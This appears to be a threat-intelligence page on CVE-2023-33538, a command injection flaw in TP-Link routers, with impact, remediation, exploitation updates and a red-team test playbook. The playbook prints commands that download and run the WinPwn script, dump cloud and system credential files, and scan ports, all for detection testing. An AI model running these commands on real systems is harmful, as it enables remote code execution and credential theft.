CVE-2023-33538

HIGH CISA KEV POC TTE 746d Pub 07/06 Upd 20/12

Overview

This vulnerability is a command injection flaw rooted in improper input validation within the /userRpm/WlanNetworkRpm component of specific TP-Link router firmware versions. The affected component fails to sanitize user-supplied input, allowing execution of arbitrary system commands. The flaw exists in the web management interface handling WLAN network configuration parameters, enabling injection of shell commands due to unsafe concatenation or parsing of input data.

Vulnerability Description

TP-Link TL-WR940N V2/V4, TL-WR841N V8/V10, and TL-WR740N V1/V2 was discovered to contain a command injection vulnerability via the component /userRpm/WlanNetworkRpm .

Impact

An attacker with a low-privileged account on the device’s web interface can execute arbitrary system commands remotely, leading to full control over the affected router. This enables unauthorized access to network traffic, modification of device settings, and potential lateral movement within the network. The exploit requires no user interaction beyond authentication with limited privileges, significantly increasing the risk of persistent compromise and network disruption in environments relying on these TP-Link devices.

Solution

TP-Link has issued firmware updates addressing this command injection vulnerability for the affected models TL-WR940N, TL-WR841N, and TL-WR740N. Users should upgrade to the latest firmware versions provided on the official TP-Link support site. Detailed patch instructions and advisories are available via the vendor’s security bulletins and the referenced GitHub advisory. No official workaround is documented; applying the firmware update is the recommended remediation step.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The command injection vulnerability present in specific models of TP-Link routers, including the TL-WR940N, TL-WR841N, and TL-WR740N, arises from improper input validation in the web management interface. This flaw allows an attacker to inject arbitrary commands into the system, which can then be executed with the privileges of the web server process. The vulnerability is particularly concerning as it resides in the WLAN network configuration component, which is frequently accessed by users for managing wireless settings. If exploited, this could lead to unauthorized access to sensitive data, alteration of network configurations, or even complete control over the device.

Attack vectors for this vulnerability are varied and can be executed remotely, making it especially dangerous. An attacker could leverage social engineering techniques to trick a user into visiting a malicious link that targets the vulnerable component of the router's firmware. Alternatively, a more sophisticated attacker could scan for vulnerable devices on the internet and exploit the flaw directly, sending crafted requests that include malicious commands. Once the command injection is successful, the attacker could manipulate the device to redirect traffic, intercept communications, or launch further attacks against other devices on the network.

The real-world impact of this vulnerability is significant, particularly for businesses that rely on these routers for their network infrastructure. Exploitation could lead to data breaches, loss of customer trust, and potential regulatory repercussions, especially if sensitive customer information is compromised. Additionally, the ability to manipulate network settings could facilitate further attacks, such as man-in-the-middle attacks, where an attacker could intercept and alter communications between users and the internet. The financial implications of such incidents can be severe, encompassing both immediate remediation costs and long-term damage to brand reputation.

To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating router firmware is crucial, as manufacturers often release patches to address known vulnerabilities. Network administrators should also employ intrusion detection systems (IDS) to monitor for unusual traffic patterns or unauthorized access attempts. Furthermore, segmenting networks and employing strong access controls can limit the potential impact of an exploited device. Educating users about the risks of command injection and the importance of secure configurations can also play a vital role in prevention.

In conclusion, the command injection vulnerability in certain TP-Link router models poses a serious threat to both individual users and businesses. The ease of exploitation and the potential for significant impact underscore the necessity for proactive security measures. By staying informed about vulnerabilities, applying timely updates, and fostering a culture of security awareness, organizations can better protect themselves against the risks associated with such vulnerabilities.




CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting the command injection vulnerability in TP-Link TL-WR940N, TL-WR841N, and TL-WR740N router models. This increase in activity coincides with the recent inclusion of CVE-2023-33538 in the Known Exploited Vulnerabilities (KEV) catalog, which often drives heightened attacker focus due to the prioritization by automated scanning and exploitation tools. Although the EPSS score shows a slight decrease, the surge in telemetry detections indicates active exploitation efforts in the wild, supported by the emergence of new proof-of-concept exploits available in popular repositories. This development elevates the threat level, signaling that adversaries are increasingly leveraging this vulnerability to compromise affected devices. Defenders should recognize that the vulnerability is now a more immediate risk, as exploitation attempts are no longer theoretical but demonstrably occurring with growing frequency.



Update 2 — May 16, 2026

CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2023-33538, as evidenced by a significant surge in telemetry detections. This increase coincides with the recent addition of the vulnerability to the Known Exploited Vulnerabilities (KEV) catalog, underscoring its growing prominence within the threat landscape. Although the EPSS score has marginally declined, the persistent upward trend in exploitation activity and the availability of new proof-of-concept exploits in widely accessed repositories amplify the immediacy of the risk. The convergence of heightened scanning and exploitation efforts signals that adversaries are intensifying their focus on these TP-Link router models, elevating the likelihood of successful compromise. Consequently, the threat level associated with this vulnerability has risen from theoretical to actively exploited, demanding heightened vigilance from defenders monitoring network perimeters and device integrity.



Update 3 — July 20, 2026

CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting the TP-Link routers affected by CVE-2023-33538. Although the overall EPSS score has experienced a slight decline, our telemetry indicates a notable surge in scanning and attack activity, reflecting increased adversary interest. The emergence of multiple new proof-of-concept exploits hosted on prominent public repositories further lowers the barrier for threat actors to weaponize this vulnerability. This dynamic suggests that exploitation is becoming more accessible and widespread, raising the probability of successful intrusions. Consequently, the threat level associated with this vulnerability has intensified from active exploitation to a more urgent and pervasive risk, underscoring the need for continuous monitoring of network traffic and device behavior within affected environments.



Update 4 — August 15, 2026

CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2023-33538, evidenced by a significant uptick in telemetry signals. This increase coincides with the continued availability and refinement of multiple proof-of-concept exploits on public code repositories, which are lowering the technical barriers for threat actors to deploy command injection attacks against vulnerable TP-Link router models. Although the EPSS score remains stable at a high percentile, the surge in detection activity indicates growing adversary interest and operationalization. For defenders, this trend signals an elevated risk environment where opportunistic and potentially more sophisticated intrusions are increasingly feasible. Consequently, the threat level associated with this vulnerability has intensified, underscoring the urgency for heightened vigilance and proactive monitoring within affected networks.

Affected Products (3)

Vendor Product Version CPE
tp-link Tp-Link Tl-Wr940n Firmware N/A cpe:2.3:o:tp-link:tl-wr940n_firmware:-:*:*:*:*:*:*:*
tp-link Tp-Link Tl-Wr841n Firmware N/A cpe:2.3:o:tp-link:tl-wr841n_firmware:-:*:*:*:*:*:*:*
tp-link Tp-Link Tl-Wr740n Firmware N/A cpe:2.3:o:tp-link:tl-wr740n_firmware:-:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (3)

Repository Author Stars Forks Date Link
mrowkoob/CVE-2023-33538-msf
CVE-2023-33538 - TP-Link Command Injection Ruby module for Metasploit Framework
mrowkoob 1 1 2025-06-23 View
explxx/CVE-2023-33538
Python Exploit for TP-Link TL-WR940N/TL-WR841N Command Injection Vulnerability
explxx 1 0 2025-06-22 View
eev4n/tplink-osci
rediscovered tplink nday xp (CVE-2023-33538)
eev4n 0 0 2026-04-19 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Some sightings

Threat Feed

15 events
2026-08-15
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-14
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-26
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-20
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-04-18
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-17
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-04-16
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2025-06-22
PoC Published (3 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2025-06-16
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
100% command_injection
Remote Code Execution
77% rce
Code Injection
48% code_injection

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-248 Command Injection
47%
Medium High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
40%
Medium High
CAPEC-40 Manipulating Writeable Terminal Devices
34%
High Very High
CAPEC-75 Manipulating Writeable Configuration Files
30%
High Very High
CAPEC-76 Manipulating Web Input to File System Calls
30%
High Very High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (6)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2023-33538
github.com
GitHub CVE
https://github.com/a101e-IoTvul/iotvul/blob/main/tp-link/3/TL-WR940N_TL-WR841N_userRpm_WlanNetworkRpm_Command_Injection.md
web.archive.org
GitHub CVE
https://web.archive.org/web/20230609111043/https://github.com/a101e-IoTvul/iotvul/blob/main/tp-link/3/TL-WR940N_TL-WR841N_userRpm_WlanNetworkRpm_Command_Injection.md
secpod.com
GitHub CVE
https://www.secpod.com/blog/cisa-issues-warning-on-active-exploitation-of-tp-link-vulnerability-cve-2023-33538/
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-33538
tp-link.com
NVD API Product
https://www.tp-link.com/us/support/faq/3562/